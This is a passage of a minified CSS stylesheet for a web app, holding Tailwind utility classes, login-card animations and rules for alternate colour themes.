var(--tw-gradient-to-position)}.bg-clip-text{-webkit-background-clip:text;background-clip:text}.object-contain{-o-object-fit:contain;object-fit:contain}.object-cover{-o-object-fit:cover;object-fit:cover}.p-10{padding:2.5rem}.p-2{padding:.5rem}.p-2\.5{padding:.625rem}.p-3{padding:.75rem}.p-4{padding:1rem}.p-5{padding:1.25rem}.p-6{padding:1.5rem}.p-8{padding:2rem}.px-1{padding-left:.25rem;padding-right:.25rem}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-10{padding-left:2.5rem;padding-right:2.5rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.px-7{padding-left:1.75rem;padding-right:1.75rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-16{padding-top:4rem;padding-bottom:4rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-2\.5{padding-top:.625rem;padding-bottom:.625rem}.py-20{padding-top:5rem;padding-bottom:5rem}.py-24{padding-top:6rem;padding-bottom:6rem}.py-28{padding-top:7rem;padding-bottom:7rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-3\.5{padding-top:.875rem;padding-bottom:.875rem}.py-32{padding-top:8rem;padding-bottom:8rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.py-\[7px\]{padding-top:7px;padding-bottom:7px}.pb-0{padding-bottom:0}.pb-1{padding-bottom:.25rem}.pb-16{padding-bottom:4rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pl-0{padding-left:0}.pl-3{padding-left:.75rem}.pl-4{padding-left:1rem}.pl-8{padding-left:2rem}.pr-3{padding-right:.75rem}.pt-1{padding-top:.25rem}.pt-2{padding-top:.5rem}.pt-3{padding-top:.75rem}.pt-32{padding-top:8rem}.pt-4{padding-top:1rem}.pt-6{padding-top:1.5rem}.pt-\[15vh\]{padding-top:15vh}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.font-display{font-family:var(--font-display),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.font-mono{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace}.font-sans{font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.text-2xl{font-size:1.5rem;line-height:2rem}.text-3xl{font-size:1.875rem;line-height:2.25rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-5xl{font-size:3rem;line-height:1}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.text-\[12px\]{font-size:12px}.text-\[13px\]{font-size:13px}.text-\[14px\]{font-size:14px}.text-\[15px\]{font-size:15px}.text-\[22px\]{font-size:22px}.text-\[8px\]{font-size:8px}.text-\[9px\]{font-size:9px}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-normal{font-weight:400}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.lowercase{text-transform:lowercase}.capitalize{text-transform:capitalize}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-\[0\.95\]{line-height:.95}.leading-\[1\.8\]{line-height:1.8}.leading-\[1\.9\]{line-height:1.9}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.leading-tight{line-height:1.25}.tracking-\[0\.15em\]{letter-spacing:.15em}.tracking-\[0\.2em\]{letter-spacing:.2em}.tracking-\[0\.3em\]{letter-spacing:.3em}.tracking-tight{letter-spacing:-.025em}.tracking-wide{letter-spacing:.025em}.tracking-wider{letter-spacing:.05em}.tracking-widest{letter-spacing:.1em}.text-\[\#00F0FF\]{--tw-text-opacity: 1;color:rgb(0 240 255 / var(--tw-text-opacity, 1))}.text-\[\#04040a\]{--tw-text-opacity: 1;color:rgb(4 4 10 / var(--tw-text-opacity, 1))}.text-\[\#3a3a44\]{--tw-text-opacity: 1;color:rgb(58 58 68 / var(--tw-text-opacity, 1))}.text-\[\#4a4a54\]{--tw-text-opacity: 1;color:rgb(74 74 84 / var(--tw-text-opacity, 1))}.text-\[\#b0b0b8\]{--tw-text-opacity: 1;color:rgb(176 176 184 / var(--tw-text-opacity, 1))}.text-\[\#ef4444\]\/80{color:#ef4444cc}.text-\[\#ff69b4\]{--tw-text-opacity: 1;color:rgb(255 105 180 / var(--tw-text-opacity, 1))}.text-amber-400{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.text-amber-400\/60{color:#fbbf2499}.text-amber-400\/80{color:#fbbf24cc}.text-amber-400\/90{color:#fbbf24e6}.text-black{--tw-text-opacity: 1;color:rgb(0 0 0 / var(--tw-text-opacity, 1))}.text-blue-300{--tw-text-opacity: 1;color:rgb(147 197 253 / var(--tw-text-opacity, 1))}.text-blue-400{--tw-text-opacity: 1;color:rgb(96 165 250 / var(--tw-text-opacity, 1))}.text-cyan-300{--tw-text-opacity: 1;color:rgb(103 232 249 / var(--tw-text-opacity, 1))}.text-cyan-400{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.text-emerald-400{--tw-text-opacity: 1;color:rgb(52 211 153 / var(--tw-text-opacity, 1))}.text-emerald-400\/60{color:#34d39999}.text-emerald-400\/70{color:#34d399b3}.text-emerald-400\/80{color:#34d399cc}.text-emerald-400\/90{color:#34d399e6}.text-gray-300{--tw-text-opacity: 1;color:rgb(209 213 219 / var(--tw-text-opacity, 1))}.text-orange-300{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.text-orange-400{--tw-text-opacity: 1;color:rgb(251 146 60 / var(--tw-text-opacity, 1))}.text-purple-400{--tw-text-opacity: 1;color:rgb(192 132 252 / var(--tw-text-opacity, 1))}.text-red-300{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.text-red-400{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.text-red-400\/60{color:#f8717199}.text-red-400\/70{color:#f87171b3}.text-red-400\/80{color:#f87171cc}.text-transparent{color:transparent}.text-white{--tw-text-opacity: 1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}.text-yellow-300{--tw-text-opacity: 1;color:rgb(253 224 71 / var(--tw-text-opacity, 1))}.text-yellow-400{--tw-text-opacity: 1;color:rgb(250 204 21 / var(--tw-text-opacity, 1))}.text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.text-zerin-accent\/40{color:#06b6d466}.text-zerin-accent\/50{color:#06b6d480}.text-zerin-accent\/60{color:#06b6d499}.text-zerin-accent\/70{color:#06b6d4b3}.text-zerin-accent\/80{color:#06b6d4cc}.text-zerin-danger{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zerin-text-dim\/80{color:#a1a1aacc}.text-zerin-text-muted{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zerin-text-muted\/25{color:#52525b40}.text-zerin-text-muted\/30{color:#52525b4d}.text-zerin-text-muted\/40{color:#52525b66}.text-zerin-text-muted\/50{color:#52525b80}.text-zerin-text-muted\/60{color:#52525b99}.text-zerin-text-muted\/80{color:#52525bcc}.text-zinc-300{--tw-text-opacity: 1;color:rgb(212 212 216 / var(--tw-text-opacity, 1))}.text-zinc-400{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zinc-500{--tw-text-opacity: 1;color:rgb(113 113 122 / var(--tw-text-opacity, 1))}.text-zinc-600{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zinc-700{--tw-text-opacity: 1;color:rgb(63 63 70 / var(--tw-text-opacity, 1))}.underline{text-decoration-line:underline}.line-through{text-decoration-line:line-through}.decoration-zerin-danger\/60{text-decoration-color:#ef444499}.underline-offset-2{text-underline-offset:2px}.placeholder-\[\#3a3a44\]::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-\[\#3a3a44\]::placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted\/40::-moz-placeholder{color:#52525b66}.placeholder-zerin-text-muted\/40::placeholder{color:#52525b66}.accent-amber-500{accent-color:#f59e0b}.accent-zerin-accent{accent-color:#06B6D4}.opacity-0{opacity:0}.opacity-100{opacity:1}.opacity-25{opacity:.25}.opacity-30{opacity:.3}.opacity-40{opacity:.4}.opacity-50{opacity:.5}.opacity-60{opacity:.6}.opacity-75{opacity:.75}.opacity-90{opacity:.9}.opacity-\[0\.03\]{opacity:.03}.shadow-2xl{--tw-shadow: 0 25px 50px -12px rgb(0 0 0 / .25);--tw-shadow-colored: 0 25px 50px -12px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-lg{--tw-shadow: 0 10px 15px -3px rgb(0 0 0 / .1), 0 4px 6px -4px rgb(0 0 0 / .1);--tw-shadow-colored: 0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-xl{--tw-shadow: 0 20px 25px -5px rgb(0 0 0 / .1), 0 8px 10px -6px rgb(0 0 0 / .1);--tw-shadow-colored: 0 20px 25px -5px var(--tw-shadow-color), 0 8px 10px -6px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-black\/40{--tw-shadow-color: rgb(0 0 0 / .4);--tw-shadow: var(--tw-shadow-colored)}.shadow-black\/60{--tw-shadow-color: rgb(0 0 0 / .6);--tw-shadow: var(--tw-shadow-colored)}.outline-none{outline:2px solid transparent;outline-offset:2px}.ring{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.blur{--tw-blur: blur(8px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.blur-sm{--tw-blur: blur(4px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.drop-shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.4\)\]{--tw-drop-shadow: drop-shadow(0 0 40px rgba(6,182,212,.4));filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.invert{--tw-invert: invert(100%);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.backdrop-blur-xl{--tw-backdrop-blur: blur(24px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-100{transition-duration:.1s}.duration-1000{transition-duration:1s}.duration-150{transition-duration:.15s}.duration-200{transition-duration:.2s}.duration-300{transition-duration:.3s}.duration-500{transition-duration:.5s}.duration-700{transition-duration:.7s}.duration-75{transition-duration:75ms}.ease-in-out{transition-timing-function:cubic-bezier(.4,0,.2,1)}.ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)}.\[appearance\:textfield\]{-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.\[color-scheme\:dark\]{color-scheme:dark}*{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.femboy-theme body{background-color:var(--fem-bg);color:var(--fem-text)}.synthwave-theme body{background-color:var(--synth-bg);color:var(--synth-text)}.synthwave-theme body.font-display{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}body.app-layout{overflow:hidden}#root{height:100vh;width:100vw}::-moz-selection{background:#06b6d44d;color:#fafafa}::selection{background:#06b6d44d;color:#fafafa}.custom-scrollbar::-webkit-scrollbar{width:6px;height:6px}.custom-scrollbar::-webkit-scrollbar-track{background:transparent}.custom-scrollbar::-webkit-scrollbar-thumb{background:#27272a;border-radius:3px}.custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#3f3f46}.custom-scrollbar{scrollbar-width:thin;scrollbar-color:#27272A transparent}:focus-visible{outline:2px solid rgba(6,182,212,.5);outline-offset:2px}.form-input{width:100%;border-radius:.125rem;border-width:1px;--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1));--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));padding:.625rem .75rem;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-size:.875rem;line-height:1.25rem;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1));transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.femboy-theme .form-input{background-color:var(--fem-bg);color:var(--fem-text);border-color:var(--fem-border)}.femboy-theme .form-input:focus{border-color:var(--fem-accent);--tw-ring-color: rgba(255, 105, 180, .3)}.synthwave-theme .form-input{background-color:var(--synth-bg);color:var(--synth-text);border-color:var(--synth-border)}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan);--tw-ring-color: rgba(0, 240, 255, .3)}.synthwave-theme .form-input{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.form-input{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}.form-input:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1));outline:2px solid transparent;outline-offset:2px;--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000);--tw-ring-color: rgb(6 182 212 / .3)}.form-input::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.form-input::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)}select.form-input{cursor:pointer;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3E%3Cpath stroke='%2352525B' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3E%3C/svg%3E");background-position:right .5rem center;background-repeat:no-repeat;background-size:1.5em 1.5em;padding-right:2.5rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.animate-slide-up,.animate-fade-in{animation-fill-mode:forwards}@keyframes landingScanBar{0%{width:0%}to{width:100%}}.landing-scan-bar{animation:landingScanBar 2s cubic-bezier(.4,0,.2,1) forwards}@keyframes landingScanRowIn{0%{opacity:0;transform:translate(-8px)}to{opacity:1;transform:translate(0)}}.landing-scan-row{opacity:0;animation:landingScanRowIn .3s ease-out forwards}@keyframes ctxSubmenuIn{0%{opacity:0;transform:translate(-4px)}to{opacity:1;transform:translate(0)}}.ctx-submenu-in{animation:ctxSubmenuIn .12s ease-out}a,button{transition-property:color,background-color,border-color,box-shadow,opacity;transition-duration:.15s;transition-timing-function:cubic-bezier(.4,0,.2,1)}@keyframes authReveal{0%{opacity:0;transform:translateY(16px)}to{opacity:1;transform:translateY(0)}}.auth-stagger-1,.auth-stagger-2,.auth-stagger-3,.auth-stagger-4,.auth-stagger-5,.auth-stagger-6,.auth-stagger-7,.auth-stagger-8{opacity:0;animation:authReveal .5s cubic-bezier(.16,1,.3,1) forwards}.auth-stagger-1{animation-delay:0ms}.auth-stagger-2{animation-delay:.1s}.auth-stagger-3{animation-delay:.2s}.auth-stagger-4{animation-delay:.28s}.auth-stagger-5{animation-delay:.36s}.auth-stagger-6{animation-delay:.44s}.auth-stagger-7{animation-delay:.52s}.auth-stagger-8{animation-delay:.6s}@keyframes authBreathe{0%,to{transform:translateY(0)}50%{transform:translateY(-3px)}}.auth-breathe{animation:authBreathe 4s ease-in-out infinite}@keyframes authBadgeGlow{0%,to{box-shadow:0 0 4px #06b6d41a,inset 0 0 4px #06b6d40d;border-color:#06b6d44d}50%{box-shadow:0 0 12px #06b6d440,inset 0 0 8px #06b6d41a;border-color:#06b6d480}}.auth-badge-glow{animation:authBadgeGlow 3s ease-in-out infinite}.auth-card{position:relative;background:#111113;border:1px solid #1F1F23;padding:1.75rem;overflow:hidden;transition:border-color .3s ease}.auth-card:hover{border-color:#06b6d426}.auth-corner{position:absolute;width:14px;height:14px;pointer-events:none;z-index:5}.auth-corner-tl{top:-1px;left:-1px;border-top:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-tr{top:-1px;right:-1px;border-top:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}.auth-corner-bl{bottom:-1px;left:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-br{bottom:-1px;right:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}@keyframes authScanline{0%{top:-2px;opacity:0}5%{opacity:1}95%{opacity:1}to{top:100%;opacity:0}}.auth-scanline{position:absolute;left:0;right:0;height:1px;background:linear-gradient(90deg,transparent 0%,rgba(6,182,212,.3) 20%,rgba(6,182,212,.5) 50%,rgba(6,182,212,.3) 80%,transparent 100%);box-shadow:0 0 8px #06b6d426;z-index:4;pointer-events:none;animation:authScanline 4s ease-in-out infinite}.auth-input-wrap{position:relative}.auth-input-wrap:before{content:"";position:absolute;left:0;top:4px;bottom:4px;width:2px;background:transparent;transition:background .2s ease,box-shadow .2s ease;z-index:2;border-radius:1px}.auth-input-wrap:focus-within:before{background:#06b6d4;box-shadow:0 0 8px #06b6d466}.auth-input{width:100%;background:#09090b;border:1px solid #1F1F23;padding:.625rem .875rem .625rem 1rem;color:#fafafa;font-size:.875rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;outline:none;transition:border-color .2s ease,box-shadow .2s ease,background .2s ease}.auth-input::-moz-placeholder{color:#52525b}.auth-input::placeholder{color:#52525b}.auth-input:focus{border-color:#06b6d466;box-shadow:0 0 0 3px #06b6d414,inset 0 0 12px #06b6d408;background:#0a0a0d}@keyframes authSubmitGlow{0%,to{box-shadow:0 0 12px #06b6d426,0 0 4px #06b6d41a}50%{box-shadow:0 0 20px #06b6d44d,0 0 8px #06b6d433}}.auth-submit{width:100%;position:relative;padding:.7rem 1rem;font-size:.875rem;font-weight:500;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;color:#fff;background:linear-gradient(135deg,#0891b2,#06b6d4,#22d3ee);background-size:200% 200%;border:none;cursor:pointer;overflow:hidden;animation:authSubmitGlow 3s ease-in-out infinite;transition:filter .2s ease,transform .15s ease}.auth-submit:hover:not(:disabled){filter:brightness(1.1);transform:translateY(-1px)}.auth-submit:active:not(:disabled){transform:translateY(0)}.auth-submit:disabled{opacity:.5;cursor:not-allowed;animation:none}.auth-submit:after{content:"";position:absolute;top:0;left:-100%;width:100%;height:100%;background:linear-gradient(90deg,transparent 0%,rgba(255,255,255,.08) 50%,transparent 100%);transition:left .5s ease;z-index:1}.auth-submit:hover:after{left:100%}@keyframes authErrorIn{0%{opacity:0;transform:translateY(-8px) scaleY(.95);max-height:0;padding-top:0;padding-bottom:0;margin-bottom:0}to{opacity:1;transform:translateY(0) scaleY(1);max-height:80px;padding-top:.75rem;padding-bottom:.75rem;margin-bottom:0}}.auth-error{display:flex;align-items:center;gap:.75rem;background:#ef44440f;border:1px solid rgba(239,68,68,.2);color:#ef4444;font-size:.8125rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;padding:.75rem 1rem;animation:authErrorIn .35s cubic-bezier(.16,1,.3,1) forwards;overflow:hidden}.auth-error-bar{flex-shrink:0;width:3px;height:16px;background:#ef4444;border-radius:1px;box-shadow:0 0 6px #ef444466}@keyframes authStatusPulse{0%,to{opacity:1;box-shadow:0 0 4px #06b6d466}50%{opacity:.5;box-shadow:0 0 8px #06b6d499}}.auth-status-dot{display:inline-block;width:5px;height:5px;border-radius:50%;background:#06b6d4;animation:authStatusPulse 2s ease-in-out infinite}.femboy-theme{--fem-bg: #fff5f8;--fem-bg-alt: #fff0f5;--fem-panel: #ffe8f1;--fem-panel-hover: #ffd6e7;--fem-border: #ffb8d4;--fem-border-hover: #ff9ec4;--fem-accent: #ff69b4;--fem-accent-hover: #ff4da6;--fem-accent-dim: #e84393;--fem-text: #3d0a22;--fem-text-dim: #7a2855;--fem-text-muted: #c48aa6}.femboy-theme,.femboy-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='32' viewBox='0 0 28 32'%3E%3Cellipse cx='14' cy='22' rx='8' ry='7' fill='%23ff69b4'/%3E%3Ccircle cx='6' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='14' cy='6' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='22' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Cellipse cx='14' cy='22' rx='5' ry='4.5' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='6' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='14' cy='6' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='22' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3C/svg%3E") 14 16,auto!important}.femboy-theme ::-moz-selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme ::selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme :focus-visible{outline-color:#ff69b480!important}.femboy-theme body{background-color:var(--fem-bg)!important;color:var(--fem-text)!important}.femboy-theme .bg-zerin-bg{background-color:var(--fem-bg)!important}.femboy-theme .bg-zerin-bg-alt{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-zerin-panel{background-color:var(--fem-panel)!important}.femboy-theme .bg-zerin-panel-hover,.femboy-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--fem-panel-hover)!important}.femboy-theme .bg-zerin-accent{background-color:var(--fem-accent)!important}.femboy-theme .bg-zerin-accent-hover{background-color:var(--fem-accent-hover)!important}.femboy-theme .bg-zerin-accent-dim{background-color:var(--fem-accent-dim)!important}.femboy-theme .bg-zerin-accent-muted,.femboy-theme .bg-zerin-accent-muted\/10{background-color:#ff69b41f!important}.femboy-theme .bg-zerin-danger-dim{background-color:#ff149314!important}.femboy-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff149326!important}.femboy-theme .bg-zinc-600{background-color:#dfa0bb!important}.femboy-theme .bg-zinc-700{background-color:#e8b5cc!important}.femboy-theme .bg-zinc-500{background-color:#c9a0b5!important}.femboy-theme .text-zerin-text{color:var(--fem-text)!important}.femboy-theme .text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .text-zerin-text-muted{color:var(--fem-text-muted)!important}.femboy-theme .text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .text-zerin-accent-hover{color:var(--fem-accent-hover)!important}.femboy-theme .text-zerin-accent-dim{color:var(--fem-accent-dim)!important}.femboy-theme .text-zerin-danger{color:#e8195e!important}.femboy-theme .text-zinc-400{color:#9a6080!important}.femboy-theme .text-zinc-500{color:#b07898!important}.femboy-theme .text-zinc-300{color:#7a2855!important}.femboy-theme .hover\:text-zerin-text:hover{color:var(--fem-text)!important}.femboy-theme .hover\:text-zerin-text-dim:hover{color:var(--fem-text-dim)!important}.femboy-theme .hover\:text-zerin-accent:hover{color:var(--fem-accent)!important}.femboy-theme .hover\:text-zerin-danger:hover{color:#ff1493!important}.femboy-theme .group:hover .group-hover\:text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .border-zerin-panel-border{border-color:var(--fem-border)!important}.femboy-theme .border-zerin-panel-border-hover,.femboy-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--fem-border-hover)!important}.femboy-theme .border-zerin-accent{border-color:var(--fem-accent)!important}.femboy-theme .border-zerin-accent\/20,.femboy-theme .border-zerin-accent\/25{border-color:#ff69b438!important}.femboy-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff69b44d!important}.femboy-theme .border-zinc-700{border-color:#f0c0d8!important}.femboy-theme .border-zinc-800{border-color:#f5d0e2!important}.femboy-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--fem-border)!important}.femboy-theme .focus\:border-zerin-accent:focus{border-color:var(--fem-accent)!important}.femboy-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#ffb8d4}.femboy-theme 